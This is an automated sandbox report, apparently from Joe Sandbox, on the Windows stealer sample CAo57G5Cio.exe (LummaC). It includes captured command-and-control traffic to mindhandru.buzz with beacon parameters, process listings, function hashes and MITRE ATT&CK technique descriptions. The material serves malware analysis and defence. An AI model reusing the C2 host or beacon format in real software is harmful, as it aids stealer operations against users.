2024-12-27 08:00:21 UTC	1135	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:21 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=ta97a30bk7v2hcegotbv4rfmko; expires=Tue, 22 Apr 2025 01:46:58 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HaIuaa3zM6VNDL1xPuFdJRrli19I2sIdvrEnDIjs1V%2FvWUMWvMxd9MyUF47KvI1%2BdbX6N2eG5%2BFC5w%2BDVpQZC2CJiODqWDzP0npjBorJT2pw0hXbMSN8PVsadR9Jtb86%2F98%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c6ad9e5d42cb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1736&min_rtt=1729&rtt_var=663&sent=325&recv=608&lost=0&retrans=0&sent_bytes=2837&recv_bytes=586694&delivery_rate=1632196&cwnd=163&unsent_bytes=0&cid=ce126efd7fa59b07&ts=4013&x=0"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.7	49757	172.67.165.185	443	6188	C:\Users\user\Desktop\CAo57G5Cio.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-27 08:00:22 UTC	263	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 88 Host: mindhandru.buzz
2024-12-27 08:00:22 UTC	88	OUT	Data Raw: 61 63 74 3d 67 65 74 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d 26 68 77 69 64 3d 39 43 36 43 41 44 35 33 31 30 41 35 46 43 35 45 42 45 42 41 30 43 36 41 39 37 35 46 31 37 33 33 Data Ascii: act=get_message&ver=4.0&lid=LOGS11--LiveTraffic&j=&hwid=9C6CAD5310A5FC5EBEBA0C6A975F1733
2024-12-27 08:00:23 UTC	1119	IN	HTTP/1.1 200 OK Date: Fri, 27 Dec 2024 08:00:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=bumvab08r7gm1dg04nbe8vg00g; expires=Tue, 22 Apr 2025 01:47:02 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache X-Frame-Options: DENY X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cvOVXgrYxvEgvT6uSYfjz6e17S2845YB2Qqmn2mNgLEIQDJJj2%2BkcvBKMp7RzkAugXDwaddtHyzdIoIYlpCXIeevHSdYLPouEQR56peqoAJ1hrYK9YaTNONSLh2W00Uepoc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8f87c6d06d3ec402-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1633&min_rtt=1630&rtt_var=618&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2837&recv_bytes=987&delivery_rate=1760096&cwnd=167&unsent_bytes=0&cid=911c22a8efc04597&ts=815&x=0"
2024-12-27 08:00:23 UTC	210	IN	Data Raw: 63 63 0d 0a 68 32 30 38 44 4e 41 37 43 2b 73 4f 69 72 5a 35 4b 34 61 4c 33 71 6a 4f 42 72 55 76 59 47 44 63 47 38 39 65 76 6b 66 4d 74 64 7a 63 46 68 35 35 38 67 45 70 67 33 72 2b 78 6b 4e 33 71 64 66 78 6d 66 59 7a 6d 78 31 52 56 66 49 71 2f 6d 32 51 64 76 72 70 38 2b 67 4c 57 6c 44 2f 58 32 36 4e 49 4f 2f 4f 48 41 6d 71 71 62 6a 63 37 44 79 46 41 30 49 46 2f 69 48 2b 49 35 49 38 37 73 44 2b 76 55 39 55 65 4b 52 4c 4d 62 63 68 31 70 6c 49 45 37 4f 6c 37 4a 6e 37 4b 49 51 65 55 30 37 74 4c 5a 4e 78 30 53 47 71 36 66 50 6a 43 46 6f 69 74 55 4e 75 79 53 4b 6f 30 41 30 4a 76 4c 76 79 69 71 73 6b 6a 78 38 64 50 51 3d 3d 0d 0a Data Ascii: cch208DNA7C+sOirZ5K4aL3qjOBrUvYGDcG89evkfMtdzcFh558gEpg3r+xkN3qdfxmfYzmx1RVfIq/m2Qdvrp8+gLWlD/X26NIO/OHAmqqbjc7DyFA0IF/iH+I5I87sD+vU9UeKRLMbch1plIE7Ol7Jn7KIQeU07tLZNx0SGq6fPjCFoitUNuySKo0A0JvLvyiqskjx8dPQ==
2024-12-27 08:00:23 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Target ID:	0
Start time:	02:59:56
Start date:	27/12/2024
Path:	C:\Users\user\Desktop\CAo57G5Cio.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\CAo57G5Cio.exe"
Imagebase:	0xd70000
File size:	2'968'576 bytes
MD5 hash:	CDCAA653FE18F53E5FBBCA4D7A02C6BC
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	04:26:19
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	7
Start time:	04:26:20
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2120 --field-trial-handle=2100,i,16958849523531625039,1048488726275612115,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	8
Start time:	04:26:22
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument http://go.microsoft.com/fwlink/?prd=11324&pver=4.5&sbp=AppLaunch2&plcid=0x409&o1=SHIM_NOVERSION_FOUND&version=(null)&processName=CAo57G5Cio.exe&platform=0009&osver=6&isServer=0&shimver=4.0.30319.0
Imagebase:	0x1d0000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	04:26:23
Start date:	27/12/2024
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2020 --field-trial-handle=1912,i,13727675206218175945,3537329276965125636,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Imagebase:	0x7ff6c4390000
File size:	3'242'272 bytes
MD5 hash:	5BBFA6CBDF4C254EB368D534F9E23C92
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Function 013264D7 Relevance: 2.9, Strings: 2, Instructions: 441COMMON

Download Yara Rule

Strings

;#T, xrefs: 01326A05
Zc;~, xrefs: 01326A26

Memory Dump Source

Source File: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1324000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID: ;#T$Zc;~
API String ID: 0-2241878490
Opcode ID: 3283b616fb7bc88f6ed274ca0bb975b1649f101a6e5873a0483ea57b891e08ec
Instruction ID: 85f05264e8cfdb33c5c9e132cc033c02b624e81d14c6bc4e2192503d8093c25a
Opcode Fuzzy Hash: 3283b616fb7bc88f6ed274ca0bb975b1649f101a6e5873a0483ea57b891e08ec
Instruction Fuzzy Hash: DFE101B3F142148BF7085E29DC993A6B792EB94320F2F413DDB89977C4E97E98058385

Function 01326915 Relevance: 2.6, Strings: 2, Instructions: 142COMMON

Download Yara Rule

Strings

;#T, xrefs: 01326A05
Zc;~, xrefs: 01326A26

Memory Dump Source

Source File: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1324000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID: ;#T$Zc;~
API String ID: 0-2241878490
Opcode ID: a1de13ae9ebd9b7c05d33b2aa3679b7bd6b7f588d16710f2b28f07ccf7057ef8
Instruction ID: 0d86750c5b79187035ffa78ed25dc203881169e2b84ce29a81a508854e149191
Opcode Fuzzy Hash: a1de13ae9ebd9b7c05d33b2aa3679b7bd6b7f588d16710f2b28f07ccf7057ef8
Instruction Fuzzy Hash: 4341F5F321C2045FE3196A2DECD677AB7D9EB54320F1A053DE7C5C3380E9756804869A

Function 059F1F33 Relevance: .7, Instructions: 731COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1471946690.00000000059F1000.00000004.00000800.00020000.00000000.sdmp, Offset: 059EF000, based on PE: false

Associated: 00000000.00000003.1490856194.00000000059EF000.00000004.00000800.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_59f1000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dde5f16a516558b8e9ff9d90b6cd06c2af20c7c180737350e2abd53e2f7d788
Instruction ID: c7ebe854e74ed1de765e27bc1f71d3801a4c0f68469fbdbae5796dac31ebf1fd
Opcode Fuzzy Hash: 7dde5f16a516558b8e9ff9d90b6cd06c2af20c7c180737350e2abd53e2f7d788
Instruction Fuzzy Hash: 9422004554E7C66FDB1787301D799A5BF206D1301830ECACFD9CA8F8A3E349950AD3A6

Function 0132AC61 Relevance: .3, Instructions: 264COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1442269781.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Associated: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1327000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: beef8f2116a511213497b15ad79d9aec381ad8edf94e06a875f267e683ecd2bb
Instruction ID: ff4007ba604ce7ccf35319f24ad7019f7ffecc88b5cf0543d62642726a1a2f93
Opcode Fuzzy Hash: beef8f2116a511213497b15ad79d9aec381ad8edf94e06a875f267e683ecd2bb
Instruction Fuzzy Hash: 5A91342205E7D09FD7039B7498756A53FB0AF1722872E0ACBC0C4CF8B3C61A585AD762

Function 01325CB7 Relevance: .3, Instructions: 260COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1324000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: be3fb7585ae6cfe15eb746bd67b177a62a96e618d96ee884665c052eceacb552
Instruction ID: 186a2141bcdc06f41504c5b6565fc35709a027208f2c5749f7eb39b45cf9e975
Opcode Fuzzy Hash: be3fb7585ae6cfe15eb746bd67b177a62a96e618d96ee884665c052eceacb552
Instruction Fuzzy Hash: EA916CB3F1162547F3584879CD983626683DBD5321F2F82388F19ABBC6D97E5D0A4284

Function 013260E0 Relevance: .2, Instructions: 238COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1324000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 109a4065dd20ecf781573ccdc18d6fdf2d94a80b7e08a8df2b93fab84e8f94a3
Instruction ID: 73074343b4850826a71caf88a62e7cde4cfa3ac504c63dda90bf55e51659fe55
Opcode Fuzzy Hash: 109a4065dd20ecf781573ccdc18d6fdf2d94a80b7e08a8df2b93fab84e8f94a3
Instruction Fuzzy Hash: C6817BF3F1022547F3584879CDA93A66582D790321F2F827C8F4E6B7CAD87E5E0A5284

Function 0132596D Relevance: .2, Instructions: 217COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1324000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a9b268c89c71e1c430a3f671edebf713661df6466a9defc90816dd284d585b74
Instruction ID: 971e897064f849e441604c670f928f3c74a6e00dffef41efa0b12cc62fb41566
Opcode Fuzzy Hash: a9b268c89c71e1c430a3f671edebf713661df6466a9defc90816dd284d585b74
Instruction Fuzzy Hash: D271B0B3E152644BF3550934CC583A57A62DB96320F2F42B8CF48AB7C6D97E5D0A93C4

Function 01326AB3 Relevance: .2, Instructions: 203COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1324000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: a49f2ea35083c832d43b0a72676162dd82fa8bfa1a4d6be1e170a0e0245db49f
Instruction ID: 41286f1e7545db542e7bc9537580a6e957ac51eedf5e9b0a9d34c73a881d4591
Opcode Fuzzy Hash: a49f2ea35083c832d43b0a72676162dd82fa8bfa1a4d6be1e170a0e0245db49f
Instruction Fuzzy Hash: 98619AB3E116214BF3544D78CD983A26682EB91320F2F83388F5C6BBC5E97E5D0A4384

Function 012E3506 Relevance: .2, Instructions: 186COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1608560210.00000000012E2000.00000004.00000020.00020000.00000000.sdmp, Offset: 012E2000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_12e2000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 2feab280ca05ca8c8f5878a2ae9c516b83a54603b930afa65e07263d8b57f967
Instruction ID: 2397d4746d59205d5f44c0885f77bfcd3b79950937dac53e68cb7d4f5fb667cd
Opcode Fuzzy Hash: 2feab280ca05ca8c8f5878a2ae9c516b83a54603b930afa65e07263d8b57f967
Instruction Fuzzy Hash: 9B51466641E3C64FD3138B3C98962C1BFB1EF9721078E48EAC8C18FA63E2195557C752

Function 01327699 Relevance: .2, Instructions: 163COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1442269781.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Associated: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1327000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5ca2f765f94ea5e7a7971afc890c70a531641a300f97374e322660d38a0e6dea
Instruction ID: eace9888ac99c3c1266f032543863c86f4dca432b6b515f63bf516f223e3d217
Opcode Fuzzy Hash: 5ca2f765f94ea5e7a7971afc890c70a531641a300f97374e322660d38a0e6dea
Instruction Fuzzy Hash: A151107141E3D49FEB178F3898A95967FB6BF5332871901CAD8C04F467C2265806CB92

Function 0132AD58 Relevance: .1, Instructions: 129COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1442269781.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Offset: 01327000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1327000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f5d945a1182a301b0969d4629938000d63eed7a60aa5afb5c4b80bf53d496662
Instruction ID: facb7040e16b4c2a6fa1c7d43f101324885f7b066ccf99b912f002f0f364ea2a
Opcode Fuzzy Hash: f5d945a1182a301b0969d4629938000d63eed7a60aa5afb5c4b80bf53d496662
Instruction Fuzzy Hash: 0C41142201E7C15FD30397B858756913FB09F5722471E0ACBC0C4CF4B3C61A985AE722

Function 0132ADB9 Relevance: .1, Instructions: 107COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1442269781.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Offset: 01324000, based on PE: false

Associated: 00000000.00000003.1606998403.0000000001324000.00000004.00000020.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1327000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e7541b6434a48ba103edcbda91835c77b914dde02e433673d6e6541ff908c24d
Instruction ID: 95b6438d3d4a96005c321bc6bb8d872a6c537f353f52be9fb96c7ce301d3ce58
Opcode Fuzzy Hash: e7541b6434a48ba103edcbda91835c77b914dde02e433673d6e6541ff908c24d
Instruction Fuzzy Hash: 6C31E72201E7D05FD30397B4A8756917FB09F5722472E4ADBC4C4CF4B3C61A986AE722

Function 0132ADDF Relevance: .1, Instructions: 91COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1442269781.0000000001327000.00000004.00000020.00020000.00000000.sdmp, Offset: 01327000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_1327000_CAo57G5Cio.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 05f957357e3d8eba76cdaa2f2193bc9bcce3e58078da0865a2d10e030b01db7d
Instruction ID: 4a1caa3413b70f34a358ebaaced56a54aba1f3f7b5f05d82d53967a6a3e58420
Opcode Fuzzy Hash: 05f957357e3d8eba76cdaa2f2193bc9bcce3e58078da0865a2d10e030b01db7d
Instruction Fuzzy Hash: FB31252201E7C45FD3439BB968746A13FB09F5722472E4ADBC0D4CF4B3C61A981AE322

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	Active Directory: Active Directory Object Access, Command: Command Execution, File: File Access, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Access, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation, Windows Registry: Windows Registry Key Access
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Creation, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems and configuration files or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	Command: Command Execution, File: File Access, Process: OS API Execution, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report CAo57G5Cio.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: LummaC

Yara Signatures

PCAP (Network Traffic)

Memory Dumps

Sigma Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Phishing

Compliance

Networking

System Summary

Data Obfuscation

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Lowering of HIPS / PFW / Operating System Security Settings

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

